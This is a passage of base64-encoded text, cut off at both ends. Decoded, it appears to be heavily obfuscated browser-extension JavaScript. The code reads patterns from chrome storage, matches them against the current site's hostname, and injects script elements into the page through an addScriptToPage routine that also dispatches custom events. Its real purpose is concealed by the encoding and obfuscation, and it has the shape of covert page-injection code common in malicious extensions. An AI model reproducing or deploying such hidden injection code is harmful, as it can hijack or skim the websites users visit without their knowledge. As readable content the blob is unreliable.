nLDB4YjM0LDB4OWY2LDB4OTc3KStfMHgyNDQ1YWMoJ2lXRGcnLC0weDM0LC0weDdjLC0weDMwNiwweDFhYSkrXzB4YTRmMWY2KDB4NjZmLDB4NmEzLDB4NGViLDB4NTliLCd5Q0l6JykrXzB4MjQ0NWFjKCdCYjQ3JywweDNiMywweDNiYiwweDE0YywweDNlMSkrJ3QnLCdhckZhTSc6XzB4MjQ0NWFjKCd5Q0l6JywweDM0OSwweGQ1LDB4MzllLDB4MmVhKSwnbUR6TkUnOl8weDM0YTA0ZSgweDkwYiwnIXhkVycsMHg5NjAsMHg5ZjIsMHg3NDQpLCd3cVR1eSc6XzB4MjBhNjI0KDB4MWNhLCdCJWhtJywweDFmNCwweDI3YSwweDQ3YiksJ01EUUlWJzpmdW5jdGlvbihfMHg3ZTQxYjgsXzB4MWY3MDBjKXtyZXR1cm4gXzB4N2U0MWI4PT09XzB4MWY3MDBjO30sJ3ZBUWJKJzpfMHgyMGE2MjQoMHg0MmQsJ2dwUWgnLDB4NDgxLDB4MWU2LDB4ODgpLCdUekJKWCc6XzB4MzRhMDRlKDB4NTJkLCdzRWFDJywweDllZSwweDZiMywweDdiMykrXzB4NGExNDA2KDB4NDc2LDB4NzJhLDB4NDliLCdkM1Q2JywweDVjNykrJ2UnLCdMT01Qayc6XzB4MjQ0NWFjKCdrZHBDJywweDQxMCwweDJiOSwweDFmYiwweDEzYikrXzB4MzRhMDRlKDB4NDdlLCdxaFdXJywweDU1MywweDQ1NywweDVhMiksJ0hOUlNwJzpfMHgyMGE2MjQoMHgxNWEsJ2lKKHUnLDB4NWMsMHgxNSwweGM1KX07ZnVuY3Rpb24gXzB4MzRhMDRlKF8weDIyMTdhZixfMHg0NTAxMjUsXzB4MmYzNWJhLF8weDNmZjBmMixfMHgyZTliOGQpe3JldHVybiBfMHg4YTNiKF8weDJlOWI4ZC0weDNiZCxfMHg0NTAxMjUpO31mdW5jdGlvbiBfMHgyMGE2MjQoXzB4MzBjM2U5LF8weDFhY2Y5MCxfMHhlMDBlYjMsXzB4MzQ3OTBiLF8weDU2OWE4NCl7cmV0dXJuIF8weDhhM2IoXzB4MzQ3OTBiLSAtMHgxNjAsXzB4MWFjZjkwKTt9ZnVuY3Rpb24gXzB4MjQ0NWFjKF8weDVmMDhhMSxfMHg0MWU5ZjgsXzB4MmM1YWI4LF8weDM3YWYxNyxfMHgxY2ZlZGIpe3JldHVybiBfMHg4YTNiKF8weDJjNWFiOC0gLTB4MzJkLF8weDVmMDhhMSk7fWZ1bmN0aW9uIF8weGE0ZjFmNihfMHgyMmI0NWQsXzB4MTQwMjVmLF8weDM1MjcxOSxfMHg0ZDY0NzQsXzB4NDNlMjc4KXtyZXR1cm4gXzB4OGEzYihfMHg0ZDY0NzQtMHgxYTAsXzB4NDNlMjc4KTt9ZnVuY3Rpb24gXzB4NGExNDA2KF8weDI1MWY1MyxfMHgxMmFjY2EsXzB4NDYzN2UsXzB4NDAzYjczLF8weDI3NzNhMyl7cmV0dXJuIF8weDhhM2IoXzB4NDYzN2UtMHgxNDAsXzB4NDAzYjczKTt9Y2hyb21lW18weDI0NDVhYygnISNydicsLTB4YzUsMHgxMDAsMHgyODAsMHgyNmYpKydnZSddW18weDIwYTYyNCgweDI2MSwnV2xjVCcsMHhkZSwweDMyNSwweDE1YSldW18weDRhMTQwNigweDVhZiwweDgxOSwweDZkNywnc1BVZScsMHg1MzIpXShbXzB4NTU4NzcwW18weDI0NDVhYygnQHF2bScsLTB4MzcxLC0weDFjYiwtMHhmNSwweDU3KV0sXzB4NTU4NzcwW18weDRhMTQwNigweDQyYiwweDc0NSwweDY1ZCwnd05dTycsMHg3YTApXV0sZnVuY3Rpb24oXzB4MjdhMGNhKXtmdW5jdGlvbiBfMHgyNjdkNzgoXzB4NTVkYjFhLF8weDJlZGRjNyxfMHgyNDBkNDUsXzB4M2Q4YTUzLF8weDUzOTZkNSl7cmV0dXJuIF8weDIwYTYyNChfMHg1NWRiMWEtMHgxMjQsXzB4MjQwZDQ1LF8weDI0MGQ0NS0weDEwMCxfMHg1Mzk2ZDUtMHg0NmEsXzB4NTM5NmQ1LTB4ODYpO31jb25zdCBfMHg4MDA1NT17J3VSRVFWJzpfMHg1NTg3NzBbXzB4MmI4NGQ4KDB4Mzk0LCdzd2FIJywweDI3NCwweDUyMiwweDJjNyldLCduYk9HVyc6XzB4NTU4NzcwW18weDNkMmQwYignU29xWCcsMHg1YTUsMHg0ZGUsMHgzM2QsMHg1YmIpXSwncGhGV2MnOl8weDU1ODc3MFtfMHgzZDJkMGIoJzAkJkgnLDB4MjRiLDB4MTFjLC0weDEwMiwweDE0NyldLCd4VW1QaSc6XzB4NTU4NzcwW18weDFkZWNjNignV1RKeicsMHgxMWMsMHgzYjksMHgxMWIsMHg1NDApXSwnb3pnU2wnOmZ1bmN0aW9uKF8weDE3ZjgzNCxfMHgxZDAxMTIpe2Z1bmN0aW9uIF8weDQwNDIwYihfMHgyMTBjOWEsXzB4MWQ0YjcxLF8weDI5ODExZSxfMHgzMDQ3ZGMsXzB4NDNkOTFjKXtyZXR1cm4gXzB4MjY3ZDc4KF8weDIxMGM5YS0weDE2NixfMHgxZDRiNzEtMHgxZDMsXzB4MzA0N2RjLF8weDMwNDdkYy0weGRiLF8weDFkNGI3MS0gLTB4MzcwKTt9cmV0dXJuIF8weDU1ODc3MFtfMHg0MDQyMGIoMHg0YzIsMHgyODIsMHgxOWUsJ2tkcEMnLDB4M2FhKV0oXzB4MTdmODM0LF8weDFkMDExMik7fSwnVFJwRVUnOl8weDU1ODc3MFtfMHgyNjdkNzgoMHg2NWQsMHg0NzgsJ2ZnKnYnLDB4NmIyLDB4NWRiKV19O2Z1bmN0aW9uIF8weDJiODRkOChfMHgzNWEwYzAsXzB4NjI4ZDMwLF8weDU5N2FiNixfMHgxNzZlNGMsXzB4NWMwYmM3KXtyZXR1cm4gXzB4MjQ0NWFjKF8weDYyOGQzMCxfMHg2MjhkMzAtMHgxNjAsXzB4NTk3YWI2LTB4MTRkLF8weDE3NmU0Yy0weDFjNyxfMHg1YzBiYzctMHgyOSk7fWZ1bmN0aW9uIF8weDNkMmQwYihfMHgyYWQzN2MsXzB4MThhNTkwLF8weDI0NDIxYSxfMHg1OTQ3NmQsXzB4NDg1ODAwKXtyZXR1cm4gXzB4YTRmMWY2KF8weDJhZDM3Yy0weDU0LF8weDE4YTU5MC0weDE3ZixfMHgyNDQyMWEtMHgxZWIsXzB4NDg1ODAwLSAtMHgyNDksXzB4MmFkMzdjKTt9ZnVuY3Rpb24gXzB4MWRlY2M2KF8weDVlYzMzMCxfMHgzYjZlNTksXzB4NDk3MjljLF8weDU3YWUwZSxfMHgxNzg2MTUpe3JldHVybiBfMHhhNGYxZjYoXzB4NWVjMzMwLTB4MWMzLF8weDNiNmU1OS0weDFjOCxfMHg0OTcyOWMtMHhkYyxfMHg0OTcyOWMtIC0weDM1ZCxfMHg1ZWMzMzApO31mdW5jdGlvbiBfMHgzZThjMjkoXzB4MTY0YmQzLF8weDQ2NmE2NixfMHg0MjBjNDcsXzB4M2EwMmZkLF8weGM0ZWY1MCl7cmV0dXJuIF8weDIwYTYyNChfMHgxNjRiZDMtMHgyMixfMHhjNGVmNTAsXzB4NDIwYzQ3LTB4Y2IsXzB4NDIwYzQ3LSAtMHgxNjIsXzB4YzRlZjUwLTB4YjIpO31pZihfMHg1NTg3NzBbXzB4MmI4NGQ4KC0weDE0MiwnaDlvVScsLTB4NGUsMHhiMCwweDIzNildKF8weDU1ODc3MFtfMHgxZGVjYzYoJ3ZbISgnLDB4MjZlLDB4MWMsMHgyOTcsLTB4MjllKV0sXzB4NTU4NzcwW18weDI2N2Q3OCgweDg2NywweGM2YiwnTjgzMCcsMHhiNmUsMHg5ZDYpXSkpe2NvbnN0IF8weDJiMGFlMD1fMHgyN2EwY2FbXzB4MjY3ZDc4KDB4YjYzLDB4NzE5LCdrR05sJywweDY5NiwweDkyOSkrXzB4MmI4NGQ4KDB4NTAsJyMhVk8nLDB4ZDcsMHgyNmYsMHgyNDUpXSxfMHhlZmQ5NDM9XzB4MjdhMGNhW18weDNkMmQwYignc3dhSCcsMHg0NjAsMHg0MmYsMHg3YTYsMHg2MTMpXSxfMHg1ZGIxNGM9d2luZG93W18weDI2N2Q3OCgweDVkZCwweGE1NiwnWUtjWCcsMHhhYjMsMHg4MjIpK18weDNlOGMyOSgtMHgyY2QsLTB4MmNmLC0weGU2LDB4MWExLCcmYiNyJyldW18weDJiODRkOCgweDFiMSwnV2xjVCcsMHg0MjksMHg2MTAsMHgzYWIpK18weDNkMmQwYignc3dhSCcsMHgyZTksMHg2OWQsMHgzYjAsMHg1NmUpXVtfMHgxZGVjYzYoJ2tkcEMnLC0weDEyNCwtMHgxOSwtMHgyOTUsMHg1OSkrJ2NlJ10oXzB4NTU4NzcwW18weDNlOGMyOSgweDY0NCwweDMzNSwweDNhYSwweDM5NSwnMkdqcScpXSwnJyk7aWYoXzB4NTU4NzcwW18weDFkZWNjNignd1Z1YScsMHgxMTQsMHg4NCwweDI3YiwtMHgxYmYpXShfMHg1NTg3NzBbXzB4M2QyZDBiKCdCJWhtJywweDY4MSwweDMxMSwweDFlZCwweDQ5YildLF8weDVkYjE0YykpcmV0dXJuISgtMHg1NTIqMHg1KzB4MjExKi0weDErMHgxKjB4MWNhYyk7Y29uc3QgXzB4OGUxMGM4PWRvY3VtZW50W18weDNkMmQwYigna0dObCcsMHg0NjcsMHgxOWEsMHg0ZmUsMHg0MjcpK18weDJiODRkOCgtMHgxOGQsJ3FoV1cnLC0weDIsLTB4MjhmLDB4ZjEpK18weDI2N2Q3OCgweDc3ZCwweDdlZSwndlshKCcsMHg0MGMsMHg2YzYpXShfMHg1NTg3NzBbXzB4M2QyZDBiKCdkM1Q2JywweDI4NSwweDMyYiwweDE0OCwweDMyOCldKTtfMHg4ZTEwYzhbJ2lkJ109XzB4NTU4NzcwW18weDNlOGMyOSgweDNmNywweDJlZCwweDIyZSwtMHg1NiwneUNJeicpXSxfMHg4ZTEwYzhbXzB4M2U4YzI5KC0weDRmLDB4MjBhLDB4MjM4LDB4MzAsJ15rd14nKStfMHgyYjg0ZDgoMHgxNWYsJ15rd14nLDB4MTU0LC0weDM2LDB4MjkzKSsndCddPV8weGVmZDk0Myxkb2N1bWVudFtfMHgyYjg0ZDgoMHg0N2MsJ3NQVWUnLDB4MmQ3LDB4MmQ2LDB4MTdkKStfMHgzZDJkMGIoJ2QzVDYnLDB4NTg1LDB4ODA1LDB4NjgxLDB4NjRkKStfMHgyNjdkNzgoMHg5M2MsMHg2NGYsJ3RHKV4nLDB4Nzc5LDB4NzllKStfMHgyNjdkNzgoMHg1NTUsMHg1MmQsJ2ZnKnYnLDB4ODQwLDB4NWE3KV0oXzB4NTU4NzcwW18weDNkMmQwYignQiVobScsMHg2LDB4MzVmLDB4MzVlLDB4MmMyKV0pWzB4MSotMHgxMTUrLTB4MTllYiotMHgxKy0weDE4ZDZdW18weDNkMmQwYignQiVobScsMHgxYywweDQ0MiwweDFmMCwweDFjNikrXzB4MWRlY2M2KCdXVEp6JywweDI3OCwweDNlZiwweDVlMSwweDI2NCkrJ2QnXShfMHg4ZTEwYzgpLCRbXzB4MWRlY2M2KCcwJCZIJywweDViYywweDRmYiwweDdjMSwweDZhNildKF8weDJiMGFlMCxmdW5jdGlvbihfMHgxZTVmNmEsXzB4MzM0NWEyKXtmdW5jdGlvbiBfMHg3MjFhNzEoXzB4MTU4MjA5LF8weDE1NWYzMCxfMHgyN2Y4OGQsXzB4YTA2MzM2LF8weDI0MGYwZCl7cmV0dXJuIF8weDJiODRkOChfMHgxNTgyMDktMHg5ZCxfMHhhMDYzMzYsXzB4MTU1ZjMwLTB4MzI0LF8weGEwNjMzNi0weDE5MixfMHgyNDBmMGQtMHgxNGMpO31mdW5jdGlvbiBfMHg1ODc2NmUoXzB4NWRhYmM0LF8weDRhNjk5ZCxfMHgxNGY4MmMsXzB4NDY0YmI2LF8weDFmZWFiMyl7cmV0dXJuIF8weDNlOGMyOShfMHg1ZGFiYzQtMHgzYixfMHg0YTY5OWQtMHgxOCxfMHgxZmVhYjMtIC0weDJkLF8weDQ2NGJiNi0weDEwYSxfMHgxNGY4MmMpO31mdW5jdGlvbiBfMHgzZjMxYTkoXzB4MTVhNzBmLF8weDI0NTdkYSxfMHg0NmI2NTQsXzB4MTZmNmZmLF8weDNjNGEyZSl7cmV0dXJuIF8weDFkZWNjNihfMHg0NmI2NTQsXzB4MjQ1N2RhLTB4MTk0LF8weDE2ZjZmZi0weGVlLF8weDE2ZjZmZi0weGYwLF8weDNjNGEyZS0weDExNik7fWZ1bmN0aW9uIF8weDJmMGUzZihfMHg0NmU4OTgsXzB4NWYxNmVhLF8weDVhMTZjOSxfMHgyMDM1ODUsXzB4NzdiMTk2KXtyZXR1cm4gXzB4MmI4NGQ4KF8weDQ2ZTg5OC0weDE3MSxfMHgyMDM1ODUsXzB4NWExNmM5LTB4NDc0LF8weDIwMzU4NS0weDNmLF8weDc3YjE5Ni0weDE5Yyk7fWZ1bmN0aW9uIF8weDI2YTkxNyhfMHg0N2VlYjQsXzB4NWNiNWY2LF8weDFmOGNhNixfMHgxY2IzMjcsXzB4MWM1MTlhKXtyZXR1cm4gXzB4MmI4NGQ4KF8weDQ3ZWViNC0weDFkZixfMHg1Y2I1ZjYsXzB4NDdlZWI0LTB4MjNhLF8weDFjYjMyNy0weDEwNixfMHgxYzUxOWEtMHgxZGQpO31pZihfMHg1NTg3NzBbXzB4NzIxYTcxKDB4NTVkLDB4NDhlLDB4MzY2LCckYUpRJywweDZjOCldKF8weDU1ODc3MFtfMHg1ODc2NmUoMHg0MjcsMHg1YmIsJ2ZnKnYnLDB4Mjg5LDB4Mzg3KV0sXzB4NTU4NzcwW18weDcyMWE3MSgweDQxYiwweDU5MywweDMyZiwnaVFoVicsMHg1NWIpXSkpe2NvbnN0IF8weDRiNDFkNT1fMHgzMzQ1YTJbXzB4NTg3NjZlKDB4NTMwLDB4MjNiLCdOODMwJywweDQ3NSwweDNjYyldW18weDJmMGUzZigweDYzOSwweDMxNiwweDNlNSwnZnQ5VicsMHgzODYpXSgnfCcpO2Zvcihjb25zdCBfMHgxOTY1NDcgb2YgXzB4NGI0MWQ1KV8weDU1ODc3MFtfMHgyZjBlM2YoMHgzNzYsMHg2MzcsMHg1OGUsJ15rd14nLDB4N2Y2KV0oJyonLF8weDE5NjU0NykmJl8weDU1ODc3MFtfMHgyNmE5MTcoMHg2MjYsJzAkJkgnLDB4MzdkLDB4NjBjLDB4NDRiKV0oLSgweDE2OGErLTB4ZDUqMHgyNisweDkxNSksXzB4NWRiMTRjW18weDcyMWE3MSgweDUxMywweDZmMiwweDc2NiwnNXRRUScsMHg4NzIpKydPZiddKF8weDE5NjU0NykpfHwhXzB4MzM0NWEyW18weDcyMWE3MSgweDNjNywweDYyNSwweDQyMSwnTjgzMCcsMHg2MTUpK18weDcyMWE3MSgweDdmZSwweDY3NiwweDNjOCwnJmIjcicsMHg3NWUpXXx8XzB4NTU4NzcwW18weDNmMzFhOSgweDE0NiwtMHhjNiwndEcpXicsMHgxYzEsMHgzM2EpXShhZGRTY3JpcHRUb1BhZ2UsXzB4MzM0NWEyW18weDI2YTkxNygweDU3YSwndlshKCcsMHg4NTQsMHgzZDIsMHgzYzMpXSk7fWVsc2V7XzB4MmFjMDAyW18weDJmMGUzZigweDNkNywweDZiNCwweDVmYSwnJmIjcicsMHg2OWUpKydlbSddKF8weDgwMDU1W18weDU4NzY2ZSgweDFmMywweDUzLCckYUpRJywweDMxLDB4ZWYpXSwweDIqLTB4MTAxOCstMHgyZioweDM4Ky0weDMqLTB4ZTUxKTtjb25zdCBfMHg1ODNhOTE9XzB4MzRkOGI3W18weDNmMzFhOSgweDIxYSwweDQ0NCwnU29xWCcsMHgzMWMsMHgxNDkpK18weDI2YTkxNygweDUxMywnQHF2bScsMHg1MzMsMHg2MTQsMHgyNTcpK18weDNmMzFhOSgweDJkYSwweDFhMSwnenFNZCcsMHgxYTQsLTB4MTA1KV0oXzB4ODAwNTVbXzB4MjZhOTE3KDB4NDM2LCdDJUgyJywweDQxNiwweDFhMywweDZjNildKTtfMHg1ODNhOTFbJ2lkJ109XzB4ODAwNTVbXzB4MmYwZTNmKDB4M2JjLDB4N2I1LDB4NWM3LCdQXSp3JywweDc0NCldLF8weDU4M2E5MVtfMHg3MjFhNzEoMHgxMDAsMHgyOGUsMHgyM2YsJ1NvcVgnLDB4NDQyKStfMHg1ODc2NmUoMHgzMmEsMHgyMzEsJyE2W0MnLDB4NGM4LDB4M2Y3KSsndCddPV8weDgwMDU1W18weDJmMGUzZigweDI4NywweDJlOSwweDU1MywnV04kWCcsMHg2MTgpXSxfMHgxYTVkNDFbXzB4NTg3NjZlKC0weGM4LC0weDEwYSwnaDlvVScsLTB4MTJmLC0weDc4KStfMHg3MjFhNzEoMHg0NzksMHg1N2YsMHg3NTgsJ3ZbISgnLDB4NDU4KStfMHgyZjBlM2YoMHgxYzcsMHg0YzcsMHg0NmMsJ0pNVionLDB4NmYzKStfMHgyNmE5MTcoMHg2ZmYsJ2tHTmwnLDB4ODY4LDB4NjA5LDB4NzA5KV0oXzB4ODAwNTVbXzB4MjZhOTE3KDB4NDhjLCclV0RXJywweDFiMywweDM4ZSwweDJlMSldKVstMHgyMyotMHg5MSsweDI2OGErLTB4M2E1ZF1bXzB4MjZhOTE3KDB4NzFjLCdzUFVlJywweDlkMywweDg0YSwweDUzZikrXzB4M2YzMWE5KDB4NmQ5LDB4NjMzLCdAcXZtJywweDYxYiwweDhkMikrJ2QnXShfMHg1ODNhOTEpLF8weDgwMDU1W18weDcyMWE3MSgweDkxMywweDdmNywweDdmZSwnc1BVZScsMHg2MjkpXShfMHhlYWMxYzIsISgtMHgzZDEqMHgxKzB4MTI3ZCstMHhlYWMpKTt9fSk7fWVsc2V7Y29uc3QgXzB4M2VkNmIwPXsna2dHUWInOmZ1bmN0aW9uKF8weDE4MjU4MSl7ZnVuY3Rpb24gXzB4MzIxMzE0KF8weDNhMDYzOSxfMHg0ZTIwODYsXzB4NWU1NGExLF8weDI5ZTZkNSxfMHg0OTg3MmEpe3JldHVybiBfMHgyYjg0ZDgoXzB4M2EwNjM5LTB4ZDcsXzB4M2EwNjM5LF8weDI5ZTZkNS0weDE3ZCxfMHgyOWU2ZDUtMHhkMyxfMHg0OTg3MmEtMHgxZTgpO31yZXR1cm4gXzB4NTU4NzcwW18weDMyMTMxNCgnZDNUNicsLTB4MTBmLDB4ODYsMHgxN2EsMHgzZmIpXShfMHgxODI1ODEpO319LF8weDFjMWIyYz1fMHgyM2YyYTZbXzB4M2QyZDBiKCdXbGNUJywweDcwOSwweDY3ZSwweDRmMiwweDYzMSkrXzB4MjY3ZDc4KDB4OWUzLDB4N2YzLCdpV0RnJywweDc4NSwweDdjNSkrXzB4MWRlY2M2KCdCJWhtJywtMHgxM2UsMHgzMSwtMHgxNmMsMHg2NildLF8weDFiYTA3ZD1fMHgxYzFiMmNbXzB4MjY3ZDc4KDB4NzdiLDB4NzMwLCdkM1Q2JywweDdmZSwweDliYykrXzB4MjY3ZDc4KDB4NTYxLDB4N2EwLCchNltDJywweDU5MCwweDRkNyldKF8weDI3OTBkND0+XzB4MTJkMjY3W18weDFkZWNjNignV2xjVCcsMHg1NGEsMHgzNWEsMHg1ZmYsMHg1MjEpK18weDNkMmQwYignQiVobScsMHg1ZTAsMHg3Y2EsMHgzN2YsMHg2MzYpXVtfMHgzZThjMjkoLTB4OTQsLTB4NzMsMHgxYjMsMHgzLCdrR05sJyldW18weDJiODRkOCgweDU3Yiwna0dObCcsMHgyY2MsMHg0NGUsMHgxMjApKydPZiddKF8weDI3OTBkNFtfMHgzZThjMjkoMHhkZSwweDFlMywtMHgxOCwtMHgyOGMsJzJHanEnKV0pPi0oLTB4MTEqMHgxNmYrLTB4MjE3MistMHgzKi0weDEzNDYpKTtpZihfMHg1NTg3NzBbXzB4M2U4YzI5KC0weDUzLDB4MjhjLDB4Y2EsMHhkMiwneUNJeicpXSgtKDB4MTI4MCstMHgxYWQyKzB4ODUzKSxfMHgxYmEwN2QpKXJldHVybjtjb25zdCBfMHg0OGQ0ZTU9YXN5bmMoKT0+e2NvbnN0IF8weDVhMzJmNz17fTtfMHg1YTMyZjdbXzB4NDE5ZGU3KCdsU29aJywtMHhlLDB4YTQsMHgxNGYsMHgxMjIpKydkJ109XzB4MWMxYjJjW18weDFiYTA3ZF1bJ2lkJ107ZnVuY3Rpb24gXzB4NThkZTE0KF8weDQyMWE1YyxfMHgyNDIwMWYsXzB4MzI1YjE0LF8weDJiYjM5NixfMHg1NmEzMmQpe3JldHVybiBfMHgzZDJkMGIoXzB4NDIxYTVjLF8weDI0MjAxZi0weDZhLF8weDMyNWIxNC0weDE4MyxfMHgyYmIzOTYtMHgxYTMsXzB4MjQyMDFmLTB4MzM4KTt9ZnVuY3Rpb24gXzB4MjZjNjM1KF8weDNlY2MxMCxfMHg0NzAyMTUsXzB4NTkwZjIyLF8weDIyMjZmZCxfMHg0MDQzOTUpe3JldHVybiBfMHgyNjdkNzgoXzB4M2VjYzEwLTB4MTFlLF8weDQ3MDIxNS0weGZkLF8weDQwNDM5NSxfMHgyMjI2ZmQtMHg5NSxfMHg1OTBmMjItIC0weDM0ZSk7fWZ1bmN0aW9uIF8weDNmOGY1OShfMHgyNTc2OWUsXzB4MWQyOTFhLF8weDQ0MGU4OCxfMHg0ZGE1YzMsXzB4OWI0MTA5KXtyZXR1cm4gXzB4MjY3ZDc4KF8weDI1NzY5ZS0weGI1LF8weDFkMjkxYS0weDE4ZSxfMHgyNTc2OWUsXzB4NGRhNWMzLTB4MWQ1LF8weDFkMjkxYS0gLTB4NDQ3KTt9Y29uc3QgXzB4MmU4OWVjPXt9O18weDJlODllY1tfMHgyNmM2MzUoMHgzMDQsMHg0YTUsMHgzMjQsMHg0NiwnJnNmaicpXT1fMHg4MDA1NVtfMHg0MTlkZTcoJ1NvcVgnLDB4NGQ3LDB4MjdkLDB4NGJlLDB4MzNkKV0sXzB4MmU4OWVjW18weDNmOGY1OSgnQyVIMicsMHgyODgsMHgxZmYsMHhjMSwweDRiOCldPV8weDVhMzJmNztmdW5jdGlvbiBfMHg0MTlkZTcoXzB4NTAyNjgwLF8weDNjMGExOSxfMHgzOWY2MDEsXzB4OTc0Y2IsXzB4NTMwYzZjKXtyZXR1cm4gXzB4MjY3ZDc4KF8weDUwMjY4MC0weDkxLF8weDNjMGExOS0weDIyLF8weDUwMjY4MCxfMHg5NzRjYi0weDVjLF8weDUzMGM2Yy0gLTB4MzUyKTt9ZnVuY3Rpb24gXzB4NTFkNDM3KF8weDllOTU5MyxfMHg0MGJlYzcsXzB4MmNjNDRiLF8weDgwMDFhZCxfMHg0ZTM2OGIpe3JldHVybiBfMHgyNjdkNzgoXzB4OWU5NTkzLTB4MTM0LF8weDQwYmVjNy0weGY3LF8weDRlMzY4YixfMHg4MDAxYWQtMHg2MCxfMHg4MDAxYWQtIC0weDRhOSk7fV8weDQ3NzJlZFtfMHgyNmM2MzUoMHg0MTMsMHg4YTksMHg1ZjEsMHg4NmYsJyRKcjQnKSsnbWUnXVtfMHg1MWQ0MzcoMHgwLDB4MTFlLC0weDgxLDB4MTQ1LCd0RyleJykrXzB4MjZjNjM1KDB4NTI5LDB4MjhiLDB4NTYzLDB4Mjk2LCdzd2FIJykrJ2UnXShfMHgyZTg5ZWMpO307XzB4NTU4NzcwW18weDFkZWNjNigneUNJeicsMHg1MTUsMHg1MWUsMHg2YzgsMHg3YmMpXShfMHg0OGQ0ZTUpLF8weDU1ODc3MFtfMHgzZThjMjkoMHgzZjUsMHgyMTQsMHgxNTgsMHgxZjcsJzAkJkgnKV0oXzB4MjNlNjU1LCgpPT57ZnVuY3Rpb24gXzB4MWI0ODU2KF8weDQ4YWZlNyxfMHgyYTU5MWQsXzB4MTZmMzhiLF8weGUzMTAwZSxfMHg1MDgyNWYpe3JldHVybiBfMHgyNjdkNzgoXzB4NDhhZmU3LTB4MTkzLF8weDJhNTkxZC0weGJjLF8weDE2ZjM4YixfMHhlMzEwMGUtMHg0OCxfMHgyYTU5MWQtIC0weDQ0Yyk7fV8weDNlZDZiMFtfMHgxYjQ4NTYoMHgxNjUsMHgzYWIsJyVXRFcnLDB4NDI0LDB4MjBhKV0oXzB4NDhkNGU1KTt9LF8weDU1ODc3MFtfMHgyNjdkNzgoMHg5YTcsMHhiNWEsJ2xTb1onLDB4N2IzLDB4OTY4KV0oMHgxKi0weDMzZCstMHhlY2QrMHgxNWYyLF8weDFjMWIyY1tfMHgxYmEwN2RdW18weDJiODRkOCgweDQ2YSwnJGFKUScsMHgzNzQsMHgzMjMsMHgyMzcpK18weDNkMmQwYignUF0qdycsMHg2OWQsMHgyYmYsMHg1YzgsMHg0ZTMpXSkpO319KTt9LGFkZFNjcmlwdFRvUGFnZT1fMHgyMTkxOWU9Pntjb25zdCBfMHgxM2VhYmQ9e307ZnVuY3Rpb24gXzB4NDU5ZTI1KF8weDI2YTYwMixfMHg1Nzc3ZDQsXzB4M2U1N2MxLF8weGM4YzM0NyxfMHgyZWY2YmIpe3JldHVybiBfMHg4YTNiKF8weDJlZjZiYi0gLTB4MWIwLF8weGM4YzM0Nyk7fV8weDEzZWFiZFtfMHgzMzNiZGYoMHg4NTEsJ2Z0OVYnLDB4OWFkLDB4YjdmLDB4YTcxKV09XzB4MzQ1YzVhKCdea3deJywweDU4ZCwweDQ1NiwweDQ3ZiwweDU0Myk7ZnVuY3Rpb24gXzB4NTYzOTAzKF8weDU3MWM0YyxfMHgxMjM4M2MsXzB4MTlhMzM4LF8weDNjODg3YyxfMHgxYjJjYjIpe3JldHVybiBfMHg4YTNiKF8weDU3MWM0Yy0gLTB4MWYxLF8weDNjODg3Yyk7fV8weDEzZWFiZFtfMHg1Nzc2ODcoMHg2YTgsMHg3ZDYsMHhhNTgsMHg5NGMsJyZiI3InKV09ZnVuY3Rpb24oXzB4MjU3ODdjLF8weDU2YWMyZCl7cmV0dXJuIF8weDI1Nzg3YytfMHg1NmFjMmQ7fTtjb25zdCBfMHgyZTc2NDM9XzB4MTNlYWJkLF8weDMzOTVjND1fMHgyZTc2NDNbXzB4MzMzYmRmKDB4OGQzLCdncFFoJywweDcyNSwweGMxOSwweDlhYSldO2Z1bmN0aW9uIF8weDMzM2JkZihfMHg1ODRmYmEsXzB4MzM0ZDQxLF8weDE5MzJmYyxfMHg3ZDg4MzksXzB4MzI0Y2Q3KXtyZXR1cm4gXzB4OGEzYihfMHgzMjRjZDctMHgzZTgsXzB4MzM0ZDQxKTt9ZnVuY3Rpb24gXzB4MzQ1YzVhKF8weDQ1YmE0MyxfMHhmMjkzYWEsXzB4MjFkZjQ0LF8weDVkNDczMSxfMHgxOWI4ODYpe3JldHVybiBfMHg4YTNiKF8weDVkNDczMS0weDFmMixfMHg0NWJhNDMpO31mdW5jdGlvbiBfMHg1Nzc2ODcoXzB4NDc2OWVkLF8weDQxMzZmMixfMHg1YTg2MzMsXzB4Mjc5ZDJjLF8weDRhZTAzMil7cmV0dXJuIF8weDhhM2IoXzB4NDEzNmYyLTB4MTgyLF8weDRhZTAzMik7fWRvY3VtZW50W18weDQ1OWUyNSgweDI3NiwweDIzMSwtMHgyNTAsJ0pNVionLC0weDU5KStfMHg1Nzc2ODcoMHg2NmYsMHg0NjcsMHg1NjYsMHgyMDksJ3N3YUgnKStfMHg1Nzc2ODcoMHg3MzMsMHg2NWEsMHg3YjEsMHgzZjAsJ0MlSDInKV1bXzB4NTYzOTAzKC0weDkyLC0weDIzMCwtMHhmZCwnaVdEZycsMHgxNDkpK18weDQ1OWUyNSgweDExMiwweDNiYiwweDE4ZCwncno4UycsMHgyZTIpKyd0ZSddKF8weDJlNzY0M1tfMHg1NjM5MDMoMHgyYmEsMHgxYTgsMHgyZWYsJyZzZmonLDB4NTU4KV0oJ29uJyxfMHgzMzk1YzQpLF8weDIxOTE5ZSksZG9jdW1lbnRbXzB4NTYzOTAzKDB4NDI3LDB4NDg2LDB4NjFlLCdkM1Q2JywweDI0MSkrXzB4NTc3Njg3KDB4NjFhLDB4M2VkLDB4NWU4LDB4MjdlLCd0RyleJykrXzB4NDU5ZTI1KDB4Mjc0LDB4MTliLDB4YWYsJ3FoV1cnLDB4YmQpXVtfMHg1Nzc2ODcoMHg0ZmYsMHg3OTcsMHg3YTEsMHg0ZjEsJ2lKKHUnKStfMHg0NTllMjUoMHgxYzIsMHg4ZSwweDE4LCdCJWhtJywweDZmKStfMHg0NTllMjUoMHgyZSwweDEyMiwweDRmZiwnU29xWCcsMHgyZjkpXShuZXcgQ3VzdG9tRXZlbnQoXzB4MzM5NWM0KSksZG9jdW1lbnRbXzB4NDU5ZTI1KDB4MWRkLDB4MjQxLC0weDEyOCwnSk1WKicsLTB4NTkpK18weDQ1OWUyNSgtMHgxNSwweDhlLDB4MjljLCcwJCZIJywweDE1NikrXzB4MzMzYmRmKDB4ODdiLCdzUFVlJywweGJhMiwweDg5MiwweGE2YSldW18weDM0NWM1YSgnQiVobScsMHgxZTgsMHg2MjAsMHg0YTcsMHg1NTApK18weDMzM2JkZigweDZiMCwnJVdEVycsMHg0OTcsMHg4MGQsMHg2M2UpK18weDQ1OWUyNSgweDIwMiwtMHgxYWQsMHgzNjksJzJHanEnLDB4ZGEpXShfMHgyZTc2NDNbXzB4MzQ1YzVhKCdrZHBDJywweDg3NywweDgyNiwweDc2MSwweDZjMCldKCdvbicsXzB4MzM5NWM0KSk7fTtmdW5jdGlvbiBfMHgxYjk3ZDgoXzB4NWE2Mz